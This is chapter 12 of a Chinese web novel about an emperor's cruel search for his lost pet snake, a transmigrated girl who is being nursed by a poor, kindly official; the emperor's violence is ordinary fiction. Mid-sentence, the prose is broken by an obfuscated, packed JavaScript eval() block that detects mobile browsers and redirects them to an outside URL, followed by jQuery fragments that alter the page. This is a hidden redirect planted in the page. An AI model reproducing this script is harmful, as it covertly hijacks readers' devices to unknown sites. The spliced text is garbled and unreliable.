12. 第 12 章

作品:《囚蛇

    那一天,整个皇宫都知道了周天子丢失了一条爱蛇。


    照顾小蛇的两名宫女被当庭鞭笞至奄奄一息,看守御花园的金吾卫当场拖往刑房杖责五十,随即押入天牢候审。


    天子的怒火席卷宫廷,连往日宁静的后宫也未能幸免,金吾卫持火把闯入每一处宫苑,翻箱倒柜,彻夜不休。


    皇后仅披一件锦缎外袍立在殿门前,长发未绾,眼中凝着冰霜,“恶心的疯子。”


    御花园里,周清玄脸上神情晦暗不定,目光落在亭外两名伏地的宫女身上,其中一个已无声息,另一个气息微弱,唇间溢血。


    福安垂首立在三步之外,冷汗浸湿了内衫。虽因奉旨采办宫宴物品暂离,但人选皆由他亲手定夺。此刻他只觉颈后发寒,仿佛已触到天子无声的杀意。


    “朕再问最后一次,”周清玄开口,声调平稳得令人心悸,“她去哪儿了?”


    濒死的宫女浑身一颤,涣散的目光努力聚焦:“陛下,奴婢真的不知。”


    周清玄闭了闭眼,抬手轻轻一挥。


    候在一旁的金吾卫当即上前,扭断了那位宫女的脖子,花园重归平寂。


    福安双膝一软,直挺挺跪倒在地,额头抵上冰冷的石板。


    “福安,”天子的声音从上方落下,“你知道为何还没杀你么?”


    “奴、奴才……”福安嗓音抖得不成调。


    “木木若回来,衣食起居仍须你打理。”周清玄缓缓起身,墨色的龙袍在夜风中微扬,“可她若回不来,你也就无用了。”


    他走向亭边,望向漆黑一片的御花园,恍惚间,仿佛仍能看见小蛇盘在石桌上睡觉的模样。


    当初带她下山,不过是一时兴起。想看看这自神山带下来的小生灵,是否会像从前帝王冢带来的玉石一样,渐渐失去灵气,变得黯淡无光。


    可不知从何时起,他不再在意她是否依旧莹亮。


    他只记得她盘在御案一角陪他批阅奏疏的温热,记得她用小小的脑袋轻蹭他指尖的依恋,记得她蜷在他枕边时,那些纠缠他多年的噩梦竟一夜消散。


    她早已不是一件玩赏之物。


    她是木木。


    是他漫长孤寂的岁月里,唯一鲜活的、温暖的陪伴。


    周清玄缓缓收紧手指,指节泛白。


    他一定要找回她。


    -


    是米粥的香味。


    咕噜咕噜的沸腾声将谢冬瑗从沉睡中唤醒,随后,那股温润清甜的米香便飘进了她敏锐的鼻尖。


    “小蛇,你醒了啊。”


    一张白净俊朗的脸忽然凑近,占据了她的全部视线。他眉眼弯弯,笑容干净,像初春融化的雪水。“我煮了米粥,你要不要吃呢?”


    谢冬瑗蛇口微张,愣住了。


    天爷!她该不会又又穿越了吧!


    她眨了眨眼睛,下意识想挪动身体,腹部却传来一阵清晰的刺痛。她低头看去,自己仍是那条小青蛇,只是腹部多了一块洁白的纱布,此刻正隐隐渗出暗红的血迹。


    哦,还好,这里还是周国。


    那人已转身将盛了清粥端到木桌上。看见她腹部的纱布,他眉头轻蹙,脸上掠过一丝担忧。


    他快步走到屋角那陈旧的黑漆柜子前,翻找出一卷干净的纱布和一个小瓷瓶。


    “你受了伤,先不要乱动。”他回到她身边,声音轻缓,“可能会有点疼,我给你重新包扎一下。”


    他的手指修长,动作轻柔而专注,小心翼翼地将染血的旧纱布取下,露出那道有一厘米的伤口。


    谢冬瑗呆呆地看着他近在咫尺的侧脸,记忆渐渐清晰。


    是他,那个在朝堂上被武官集体霸凌,被文官排挤的六品翰林,程文寺。


    可她明明记得自己是在皇宫御花园里,怎么会到了这里?又怎么会被程文寺所救?


    小蛇困惑地歪了歪脑袋,细细打量这个似乎有些陌生的男人。


    程文寺熟练地给她上药包扎,手法细致。处理好伤口,他拿过粥碗,用木勺将已经熬得软烂的米粒轻轻压了压,舀起一勺,凑到唇边仔细吹凉,这才递到小蛇面前。


    看着那依旧歪着脑袋满眼疑惑的小家伙,他又笑了,“是不是很疑惑为什么会在这里?我等会儿和你解释。先吃饭,好不好?”


    万事以吃为先。谢冬瑗压下心中翻腾的疑问,顺从地低下头,小口小口地舔食勺中温热的米粥。


    屋子里静悄悄的,只有细微的进食声。一人一蛇,对坐而食,气氛竟有种奇异的安宁。


    谢冬瑗吃得肚皮微圆,程文寺也放下了碗。他有些不好意思地笑了笑,清俊的脸上带着歉意:“委屈你了。我俸禄微薄,每月还要捐一些给南巷子那些无依无靠的孩子,所以只能请你喝清粥了。”


    原来如此。


    谢冬瑗恍然。她随周清玄上朝时,常见程文寺孤身立于角落,遭人冷眼,只当他性情孤高傲岸,不合时宜。如今看来,他竟是这般一个洁身自好,乃至清贫如洗的官。


    这屋子一室一厅,虽打扫得窗明几净,却几乎称得上家徒四壁。木桌旧得掉了漆,两把凳子腿脚也不一般高。碗里是清澈见底的白粥,连一丝咸菜也无。


    “现在,我来告诉你为何你会在这儿吧。”程文寺收拾好碗筷,坐正了身子,缓缓道来。


    据他所说,那日他路过御花园外墙,恰听见园内喧哗,似在搜寻什么。他本不欲多事,却在转身时,瞥见墙根花丛里露出一段青鳞尾巴。


    一条腹部血流不止的小蛇,正躺在那奄奄一息。


    “金吾卫在园内搜寻,我想或许是宫里哪位贵人丢失的宠物,但他们似乎没注意到墙外。”程文寺语气平和,“见你伤重,我便先将你带回来了。本想等你伤好些再设法打听送还,只是不知你的主家究竟是哪位?”


    谢冬瑗心中哀叹。若非不能暴露自己能言人语,她恨不能立刻大喊:我的住家就是周清玄啊,你侍奉的陛下啊。


    可眼下,她腹部的伤口一动就疼,根本无力爬行。看来,至少得在这位穷翰林家里将养个十天半月了。


    也不知周清玄回宫发现她不见了,会急成什么样子。


    算了,保命要紧。小蛇颓然地瘫在桌上。


    程文寺看着她这幅焉头耷脑的模样,眼神微微一黯,伸手极轻地抚了抚她冰凉的鳞片。“你放心,”他承诺道,声音虽轻却郑重,“我会好好照顾你的。”


    他起身,仔细掩好房门,走到隔壁小院,轻叩那扇木门。


    开门的是一位头发花白,精神却矍铄的老妪。看见程文寺,她眯起眼笑了:“哟,小寺。这次又想找老婆子讨什么药了?”


    “秦奶奶,”程文寺恭敬道,“我想跟您买些好点的金疮药。”


    秦奶奶眯着眼将他上下打量一番,忽然脸色一沉,伸手就要撩他洗得发白的青布长衫:“是不是那群天杀的又欺负你了?让奶奶看看!”


    “奶奶,不是的。”程文寺连忙侧身避开,脸上微红,“我没事。是……是我捡到个小东西,它受了伤。”


    “小东西?”秦奶奶停下手,狐疑地看着他,“什么小东西?该不会是捡了个受伤的小娘子,不敢告诉奶奶吧?”说着,脸上露出促狭的笑。


    程文寺的脸腾地红透了,连连摆手:“奶奶莫要取笑!是……是一条小蛇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922912|192639||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,看着怪可怜的,伤在肚腹上。”


    “嗨,一条小蛇啊,你早说嘛!”秦奶奶笑了,转身进屋,不一会儿拿出一个青色小瓷罐,“喏,上好的金疮药,敷上止血生肌最快。拿去,跟奶奶还提什么钱。”


    程文寺推辞不过,再三道谢才接过药罐。回到自己屋中时,篮子里的小蛇已蜷成一团,沉沉睡着了。


    他翻出一个旧菜篮,垫上自己几件再也穿不下的柔软旧衣,小心翼翼地将小蛇捧进去,安置在温暖的窝中。


    “好好睡吧。”他低语,“会好起来的。”


    -


    程文寺在朝堂之上形单影只,但在皇城根下曲折破旧的南巷子里,他却是极受欢迎的人。


    用这里街坊的话说,他是南巷子几十年里飞出的唯一一只金凤凰,还是颗不染尘埃、心系故里的凤凰。


    他出身清寒至极,父亲是个砍柴人,三十多岁还因家徒四壁娶不上亲,后来在山里捡到了尚在襁褓的他,含辛茹苦抚养成人。


    父亲总对他说:“做人要正直,穷孩子的出路,只有读书。”


    程文寺没有辜负这份期望,寒窗苦读,做了探花郎,有一个六品翰林的官职。如今虽官位不高,俸禄微薄,却始终记得父亲的教诲,也记得这片养育他的陋巷。


    “小寺,今天怎么得空来买菜呀?”菜摊后的林婶嗓门洪亮,笑容热情。


    “今日休沐,便过来看看。林婶近日可好?”程文寺微笑应答。


    “好着呢!喏,这菜花今早刚摘的,水灵得很,婶子给你留了最大的一朵!”说着,不由分说将一棵饱满的菜花塞进程文寺的菜篮。


    “多谢林婶。”


    “小寺!休沐啦?”烧饼摊的王叔隔着半条街招呼,“来来,刚出炉的芝麻烧饼,香着呢!拿着!”


    “王叔,我……”


    “拿着,跟叔还客气啥。当年你中探花,可请咱整条巷子吃过糖呢。”


    没走几步,挎着鸡蛋篮子的刘大嫂又迎面过来,瞅见他的篮子,直接抓起几个鸡蛋放进去:“小寺,拿着,我家那几只母鸡最近下蛋下得勤,探花郎也沾沾喜气!”


    一路走来,程文寺几乎没机会掏出钱袋,菜篮却被塞得满满当当。他一一郑重道谢,清俊的脸上始终带着温和的笑意。


    最后,他在那总是飘着肉腥味的肉摊前停住了脚步。


    肉摊老板赵屠户正挥着蒲扇驱蝇,看见他,眼睛一亮:“哟,稀客啊,看来小寺今日要开荤了,肥肉十文,瘦肉五文,老赵我给你最新鲜的。”


    程文寺看着案板上红白分明的猪肉,犹豫了片刻,手指轻轻蜷了蜷,终于开口:“那,劳烦赵叔,给我切一斤瘦肉吧。”


    “好嘞!”赵屠户手起刀落,动作麻利,“这就对啦,读书费脑子,是该吃点好的补补。”


    谢冬瑗再次醒来时,发现自己仍在那间陋室,但身下已不是冰冷的桌面,而是铺着柔软旧衣的菜篮小窝。


    她动了动鼻尖,清晰地嗅到衣物上残留的皂角清香,以及一丝极淡的、属于程文寺的干净气息。


    清苦,却温和。


    这时,门被推开,程文寺提着篮子进来,轻轻放在地上。看见她抬头,他眼中漾开笑意:“醒得正好。我买了些菜,等下煮饭。”


    他走过来,伸出食指,极轻地碰了碰她头顶冰凉的鳞片,那笑容清澈见底,仿佛能驱散这屋中所有的清寒。然后他便转身,去屋角那小泥炉边忙碌起来。


    谢冬瑗静静望着他清瘦却挺直的背影。此刻她所见的程文寺,与朝堂上那个沉默孤立,面容淡泊的翰林,判若两人。


    原来,人是如此多面的生灵。